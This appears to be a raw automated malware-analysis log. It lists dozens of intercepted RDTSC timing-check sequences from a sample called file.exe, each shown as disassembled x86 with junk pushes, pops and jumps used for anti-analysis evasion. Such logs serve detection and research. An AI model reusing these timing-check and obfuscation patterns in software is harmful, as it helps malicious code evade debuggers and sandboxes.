Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604F3 second address: 4D604F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604F9 second address: 4D604FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604FD second address: 4D60501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D500C0 second address: 4D500C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D500C4 second address: 4D500C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D500C8 second address: 4D500CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D500CE second address: 4D500D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D500D4 second address: 4D50143 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F9ACCBE48CBh 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F9ACCBE48D6h 0x00000017 xchg eax, edi 0x00000018 jmp 00007F9ACCBE48D0h 0x0000001d push eax 0x0000001e jmp 00007F9ACCBE48CBh 0x00000023 xchg eax, edi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F9ACCBE48D0h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50143 second address: 4D50147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50147 second address: 4D5014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5014D second address: 4D50153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5018F second address: 4D50206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9ACCBE48D3h 0x00000013 sbb si, 437Eh 0x00000018 jmp 00007F9ACCBE48D9h 0x0000001d popfd 0x0000001e mov esi, 42A849C7h 0x00000023 popad 0x00000024 jmp 00007F9ACCBE48CCh 0x00000029 popad 0x0000002a sub edi, edi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F9ACCBE48CCh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50206 second address: 4D50277 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C36Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F9ACD05C36Ch 0x00000015 and ecx, 52916808h 0x0000001b jmp 00007F9ACD05C36Bh 0x00000020 popfd 0x00000021 pop esi 0x00000022 popad 0x00000023 test al, al 0x00000025 jmp 00007F9ACD05C36Fh 0x0000002a je 00007F9ACD05C57Ah 0x00000030 jmp 00007F9ACD05C376h 0x00000035 lea ecx, dword ptr [ebp-14h] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov eax, edx 0x0000003d mov edx, 5C732EDCh 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50277 second address: 4D5027D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5027D second address: 4D502A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C36Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-14h], edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9ACD05C36Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D502FE second address: 4D50316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACCBE48D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50316 second address: 4D5032E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9ACD05C36Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5032E second address: 4D50334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50334 second address: 4D50338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50338 second address: 4D50378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F9ACCBE48CBh 0x00000015 jmp 00007F9ACCBE48D3h 0x0000001a popfd 0x0000001b push eax 0x0000001c pop edi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D503B8 second address: 4D503FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9ACD05C36Dh 0x00000009 sbb ah, 00000036h 0x0000000c jmp 00007F9ACD05C371h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 test eax, eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9ACD05C378h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D503FD second address: 4D50483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F9B3EAC2946h 0x0000000f jmp 00007F9ACCBE48D6h 0x00000014 js 00007F9ACCBE48FFh 0x0000001a jmp 00007F9ACCBE48D0h 0x0000001f cmp dword ptr [ebp-14h], edi 0x00000022 jmp 00007F9ACCBE48D0h 0x00000027 jne 00007F9B3EAC2910h 0x0000002d jmp 00007F9ACCBE48D0h 0x00000032 mov ebx, dword ptr [ebp+08h] 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F9ACCBE48D7h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50483 second address: 4D504AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bl 0x00000005 movzx ecx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e pushad 0x0000000f mov edi, 3C724C1Ch 0x00000014 call 00007F9ACD05C375h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504AE second address: 4D504BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504BB second address: 4D504BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504BF second address: 4D504CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504CE second address: 4D504D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504D4 second address: 4D50509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e jmp 00007F9ACCBE48D6h 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov dx, 4410h 0x0000001b push ebx 0x0000001c pop esi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50509 second address: 4D50524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C372h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505A7 second address: 4D505D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov esi, eax 0x00000008 jmp 00007F9ACCBE48CBh 0x0000000d test esi, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9ACCBE48D5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505D3 second address: 4D40E34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C371h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9B3EF3A3D3h 0x0000000f xor eax, eax 0x00000011 jmp 00007F9ACD035A9Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007F9ACD05C367h 0x0000002b jmp 00007F9ACD05C48Ah 0x00000030 call 00007F9AD0FF92D6h 0x00000035 mov edi, edi 0x00000037 pushad 0x00000038 mov cx, C53Fh 0x0000003c mov ebx, esi 0x0000003e popad 0x0000003f xchg eax, ebp 0x00000040 pushad 0x00000041 mov di, CA0Eh 0x00000045 popad 0x00000046 push eax 0x00000047 jmp 00007F9ACD05C374h 0x0000004c xchg eax, ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 pushfd 0x00000051 jmp 00007F9ACD05C36Dh 0x00000056 or si, F646h 0x0000005b jmp 00007F9ACD05C371h 0x00000060 popfd 0x00000061 pushad 0x00000062 popad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E34 second address: 4D40E57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E57 second address: 4D40E5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E5B second address: 4D40E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E61 second address: 4D40E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40E67 second address: 4D40E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40ED5 second address: 4D508FB instructions: 0x00000000 rdtsc 0x00000002 mov bx, E468h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 ret 0x0000000a nop 0x0000000b jmp 00007F9ACD05C362h 0x0000000d and bl, 00000001h 0x00000010 movzx eax, bl 0x00000013 lea esp, dword ptr [ebp-0Ch] 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 pop ebp 0x0000001a ret 0x0000001b add esp, 04h 0x0000001e mov eax, dword ptr [00DB60A4h+ebx*4] 0x00000025 mov ecx, 04B3412Ah 0x0000002a xor ecx, dword ptr [00DB60ACh] 0x00000030 add eax, ecx 0x00000032 inc eax 0x00000033 jmp eax 0x00000035 push esi 0x00000036 call 00007F9ACD082538h 0x0000003b push ebp 0x0000003c push ebx 0x0000003d push edi 0x0000003e push esi 0x0000003f sub esp, 00000284h 0x00000045 mov esi, dword ptr [esp+00000298h] 0x0000004c mov dword ptr [esp+00000268h], 00DB8100h 0x00000057 mov dword ptr [esp+00000264h], 0000009Dh 0x00000062 mov dword ptr [esp], 00000000h 0x00000069 mov eax, dword ptr [00DB3D58h] 0x0000006e call eax 0x00000070 mov edi, edi 0x00000072 jmp 00007F9ACD05C376h 0x00000077 xchg eax, ebp 0x00000078 push eax 0x00000079 push edx 0x0000007a pushad 0x0000007b jmp 00007F9ACD05C36Dh 0x00000080 mov si, D0F7h 0x00000084 popad 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D508FB second address: 4D50964 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop eax 0x0000000e pushfd 0x0000000f jmp 00007F9ACCBE48D9h 0x00000014 adc al, 00000006h 0x00000017 jmp 00007F9ACCBE48D1h 0x0000001c popfd 0x0000001d popad 0x0000001e movzx esi, di 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 call 00007F9ACCBE48D4h 0x0000002b pop esi 0x0000002c mov edx, 3DE9F916h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50964 second address: 4D509D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9ACD05C36Ah 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F9ACD05C36Bh 0x0000000f sbb esi, 3590959Eh 0x00000015 jmp 00007F9ACD05C379h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ebp, esp 0x00000020 jmp 00007F9ACD05C36Eh 0x00000025 cmp dword ptr [76C8459Ch], 05h 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F9ACD05C377h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D509D1 second address: 4D50A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9B3EAB28D7h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9ACCBE48CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A4F second address: 4D50A69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C36Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 6E44C07Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ebx, ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A69 second address: 4D50A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A6F second address: 4D50A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A73 second address: 4D50A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A77 second address: 4D50A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 0882DBA9h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9ACD05C36Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A92 second address: 4D50A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A98 second address: 4D50A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A9C second address: 4D50AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50AEF second address: 4D50AF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50AF5 second address: 4D50B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov ebx, esi 0x0000000e mov bx, cx 0x00000011 popad 0x00000012 je 00007F9B3EAA8735h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9ACCBE48CEh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50B2E second address: 4D50B34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50B34 second address: 4D50B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50B3A second address: 4D50B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6092A second address: 4D60958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a jmp 00007F9ACCBE48CEh 0x0000000f push eax 0x00000010 jmp 00007F9ACCBE48CBh 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov dx, F036h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60958 second address: 4D6095D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6095D second address: 4D60963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60963 second address: 4D60981 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c jmp 00007F9ACD05C36Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60981 second address: 4D60985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60985 second address: 4D609E0 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 14362EEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test esi, esi 0x0000000c jmp 00007F9ACD05C378h 0x00000011 je 00007F9B3EF19D74h 0x00000017 pushad 0x00000018 pushad 0x00000019 mov al, 3Bh 0x0000001b call 00007F9ACD05C379h 0x00000020 pop eax 0x00000021 popad 0x00000022 push ebx 0x00000023 mov edi, esi 0x00000025 pop eax 0x00000026 popad 0x00000027 cmp dword ptr [76C8459Ch], 05h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D609E0 second address: 4D609E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D609E4 second address: 4D609EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D609EA second address: 4D60A0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9B3EABA35Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A0D second address: 4D60A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A11 second address: 4D60A17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A17 second address: 4D60A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A1D second address: 4D60A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A21 second address: 4D60A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F9ACD05C370h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9ACD05C36Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60A4B second address: 4D60A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov ebx, 75BA1150h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov dx, ax 0x00000015 movzx eax, bx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60AF6 second address: 4D60B12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C378h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60B12 second address: 4D60B17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60B17 second address: 4D60B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 492BE092h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F9ACD05C36Fh 0x00000014 adc eax, 4782908Eh 0x0000001a jmp 00007F9ACD05C379h 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 movzx esi, dx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60B5A second address: 4D60B7F instructions: 0x00000000 rdtsc 0x00000002 mov di, 6DEEh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9ACCBE48D7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60B7F second address: 4D60B85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60B85 second address: 4D60B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6267A34 second address: 6267A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9ACD05C366h 0x0000000a jmp 00007F9ACD05C36Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626DF6D second address: 626DF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626E0FA second address: 626E130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F9ACD05C371h 0x0000000b popad 0x0000000c jmp 00007F9ACD05C378h 0x00000011 pop esi 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626E130 second address: 626E134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626E2C4 second address: 626E2D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9ACD05C370h 0x0000000a rdtsc
